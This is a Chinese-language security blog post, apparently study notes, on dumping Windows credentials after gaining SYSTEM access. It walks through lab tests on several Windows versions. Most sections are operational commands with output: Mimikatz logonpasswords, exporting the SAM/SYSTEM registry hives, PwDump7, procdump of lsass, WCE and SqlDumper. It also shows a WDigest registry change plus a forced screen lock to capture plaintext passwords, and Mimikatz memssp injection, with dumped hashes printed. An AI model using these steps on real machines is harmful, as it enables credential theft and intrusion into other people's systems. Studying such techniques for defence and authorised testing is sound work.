Windows密码凭证获取学习

img

本文首发乌鸦安全知识星球!

公众号:乌鸦安全

更新时间:2022.08.04

1. 说明

本文参考了大量的第三方文档,参考资料如下,感谢各位师傅的帮助。

https://www.secrss.com/articles/24903
https://mp.weixin.qq.com/s/jW2tUXkiBaC6PiF-kRWb1Q
https://mp.weixin.qq.com/s/As4YZ8XDWCfBfieDUU30Ow
https://mp.weixin.qq.com/s/4nlyOIuyQZ9h0Bb5jQO4wQ
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://mp.weixin.qq.com/s/-pijbPocXG8bSDU-l4i4RA
https://zhuanlan.zhihu.com/p/57800688
https://mp.weixin.qq.com/s/PDVs6zCuEsnpfzPIFI-XJw
https://xz.aliyun.com/t/10734#toc-2

2. Windows获取凭证或密码

一般来说,在我们获取到Windowssystem权限之后,一般都喜欢去看下密码,哪怕是hash,也想尝试去解一下,Windows下的安全认证机制总共有两种,一种是基于NTLM的认证方式,主要用在早期的Windows工作组环境中;另一种是基于Kerberos的认证方式,主要用在域环境中。
关于NTLM的知识,在这里就不在展开了,有兴趣的可以去搜下。

3. 环境准备

本次环境共准备了Windows server2003Windows7Windows10Windows server2012,按照他们的特点,有针对的进行实操获取。
本文默认已获取system权限的情况下进行操作。

4. 获取密码或hash方法

4.1 ** Mimikatz**

这个神器肯定是大家都不陌生的, 以前我也写过关于这个工具的免杀。
原版工具:https://github.com/gentilkiwi/mimikatz
image.png
使用方法:

privilege::debug 
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

4.1.1 server2003

systeminfo查看当前的电脑是32位的,所以在这里就使用32位的来试下:
image.png

执行命令之后可以直接获取到明文:

privilege::debug 
sekurlsa::logonpasswords

image.png

4.1.2 windows10

在这里先关闭Windows10Windows defender,在这里并不对其进行免杀研究,直接使用x64位的之后,来获取hash
image.png

执行命令之后只能够获取hash,不能够直接获取明文:

image.png

209c6174da490caeb422f3fa5a7ae634

可以通过第三方的方式来获取密码:
image.png

当然,mimikatz也可以使用非交互的方式来获取hash

mimikatz.exe "log logon.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"

image.png

image.png

4.2 注册表导出hash

有时候,因为某些问题,导致无法直接获取hash,所以在这里还可以使用注册表导出hash的方式来进行,具体的步骤如下:
在靶机上使用以下命令(需要system权限):

靶机上执行:
reg save HKLM\SYSTEM system.hiv

reg save HKLM\SAM sam.hiv

reg save hklm\security security.hiv


在本地使用mimikatz执行:
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

4.2.1 server2003

打开cmd执行命令,导出system.hivsam.hivsecurity.hiv文件:

reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save hklm\security security.hiv

image.png

最后使用mimikatz执行,在非靶标机器上,不需要system权限:

mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" exit

image.png

RID  : 000001f4 (500)
User : Administrator
  Hash LM  : f0d412bd764ffe81aad3b435b51404ee
  Hash NTLM: 209c6174da490caeb422f3fa5a7ae634

直接去查询即可。

4.2.2 Windows10

使用同样的方法导出之后再解密:
image.png

获取到hash信息:

image.png

User : admin
  Hash NTLM: 209c6174da490caeb422f3fa5a7ae634

4.3 pass64.exe

这个文件是我早些时候渗透的时候获得的,在win78等低于Windows10的系统上(这种说法不严谨),使用system权限运行能够直接获取64位系统的账号和密码信息。
这个工具应该是PwDump7工具的魔改版本。
win10上因为无法获取账号密码报错:
image.png

win7环境下:
image.png

4.4 PwDump7

https://download.openwall.net/pub/projects/john/contrib/pwdump/pwdump7.zip
image.png

4.4.1 server2003

可以在Windows2003上执行,手工将得到的结果保存在1.txt中:
PwDump7.exe > 1.txt
image.png

Administrator:500:F0D412BD764FFE81AAD3B435B51404EE:209C6174DA490CAEB422F3FA5A7AE634:::
Guest:501:NO PASSWORD*********************:NO PASSWORD*********************:::
SUPPORT_388945a0:1001:NO PASSWORD*********************:E0BD9A807066324A42B519FF5BEFF787:::
IUSR_TEST-D19EBC014E:1003:D4A491469B36E4DEDFF5B37B55778470:2471C03E798817564147AAA062FE8E22:::
IWAM_TEST-D19EBC014E:1004:CE5EF4E001CFA44F29C8D4F0A6CA5261:15F2DD2C17E53DD2FB0E43A1F6B1DFD6:::
ASPNET:1006:6FF5F98464BA40B4762AEFFACC0990D3:E1C2E3693E2A0392D8F625BB47CA78C1:::
test:1007:44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4:::

4.4.2 windows10

image.png

4.5 Procdump+Mimikatz

ProcDump是一个命令行程序,可以将系统正在运行的进程转存储生成为dump文件,微软自己的工具,理论上来说不应该会被杀。
它的原理是Procdump导出lsass.exe的转储文件,使用mimikatz读取器中的hash。
如果对方机器是win10以下的,都可以获取明文密码。

地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
使用方法:
dumplsass.exe

32位:
procdump.exe -accepteula -ma lsass.exe lsass.dmp

64位:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp

mimikatz读取:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

4.5.1 server2003

无法使用
image.png

4.5.2 Windows10

执行命令:

procdump.exe -accepteula -ma lsass.exe lsass.dmp

image.png

然后使用mimikatz读取:

sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

image.png

4.6 WCE

官网地址:
https://www.ampliasecurity.com/research.html
32位下载:
https://www.ampliasecurity.com/research/wce_v1_42beta_x32.zip
64位下载:
https://www.ampliasecurity.com/research/wce_v1_42beta_x64.zip
image.png

参数解释:
-l          列出登录的会话和NTLM凭据(默认值)
-s               修改当前登录会话的NTLM凭据 参数:<用户名>:<域名>:<LM哈希>:<NT哈希>
-r                不定期的列出登录的会话和NTLM凭据,如果找到新的会话,那么每5秒重新列出一次
-c               用一个特殊的NTML凭据运行一个新的会话 参数:<cmd>
-e               不定期的列出登录的会话和NTLM凭据,当产生一个登录事件的时候重新列出一次
-o               保存所有的输出到一个文件 参数:<文件名>
-i                指定一个LUID代替使用当前登录会话 参数:<luid>
-d               从登录会话中删除NTLM凭据 参数:<luid>
-a               使用地址 参数: <地址>
-f                强制使用安全模式
-g               生成LM和NT的哈希 参数<密码>
-K               缓存kerberos票据到一个文件(unix和windows wce格式)
-k               从一个文件中读取kerberos票据并插入到windows缓存中
-w              通过摘要式认证缓存一个明文的密码
-v               详细输出

使用方法:wce.exe -l或者直接wce

4.6.1 server2003

image.png

4.6.2 Windows10

无法使用:
image.png

4.6.3 Windows7

正常执行:
image.png

4.7 SqlDumper + mimikatz(失败)

因为没有安装sqlserver,可能导致最后无法执行成功。
可以从https://www.xiazaiba.com/html/35382.html下载工具(我在win10 defender下是默认无毒的)
首先查看下当前lsass.exe的进程号:
tasklist /svc |findstr lsass.exe

image.png

找到Sqldumper.exe的安装路径,使用管理员权限的cmd导出dump文件,使用方法:

Sqldumper.exe ProcessID 0 0x01100

在这里使用就是:(失败
image.png
放一个成功的图:
image.png

3.mimikatz加载dump文件
mimikatz.exe"sekurlsa::minidumpSQLDmpr0001.mdmp"“sekurlsa::logonPasswords full”“exit”
image.png

5. Windows获取明文密码

在这里主要是获取Windows高版本的明文密码,因为在Windows2012系统及以上的系统,默认在内存缓存中禁止保存明文密码的。攻击者可以通过修改注册表的方式抓取明文,需要用户重新登录后才能成功抓取。
本次环境Windows server2012,本文默认已获取system权限的情况下进行操作。
而且本文不讨论抓取密码工具或方法的免杀方式。

6. 获取明文密码方法

6.1 修改注册表

前提条件:

  • system权限
  • 需要锁屏后重新登录

在这里依旧使用mimikatz进行密码的抓取,默认情况下是无法获取明文信息的:

privilege::debug 
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

image.png

使用命令行将其修改成记录明文密码,在这里需要注意使用管理员权限来执行:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

image.png

再使用命令锁屏:(这个命令可以使用用户权限来执行)
image.png

rundll32.exe user32.dll,LockWorkStation

接下来等待用户再次登录一次就可以抓到了:
image.png

如果说在修改之后抓取到了密码,想要恢复对方的注册表,只需要执行下面的命令即可:(依旧需要使用管理员权限)

修改不记录明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

image.png
再次重启下就可以了:(锁屏无效)

privilege::debug 
提升权限,返回Privilege '20' OK。说明权限提升成功
sekurlsa::logonpasswords
可以读取到NTLM哈希值

image.png

6.2 mimikatz插ssp记录密码

需要的条件:

  • system权限
  • 锁屏并重新登入

在这里使用mimikatz来实现:

privilege::debug

misc::memssp

image.png

修改完之后使用以下命令锁屏:rundll32.exe user32.dll,LockWorkStation
然后在以下目录下发现明文密码:

C:\Windows\System32\mimilsa.log

image.png

7. 总结

其实还有很多的其他方法,在这里就不进行一个个演示了,而且在这里并没有对其是否免杀的能力进行测试,对于不同的环境,免杀的方法也不相同,等以后有时间再学习下。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值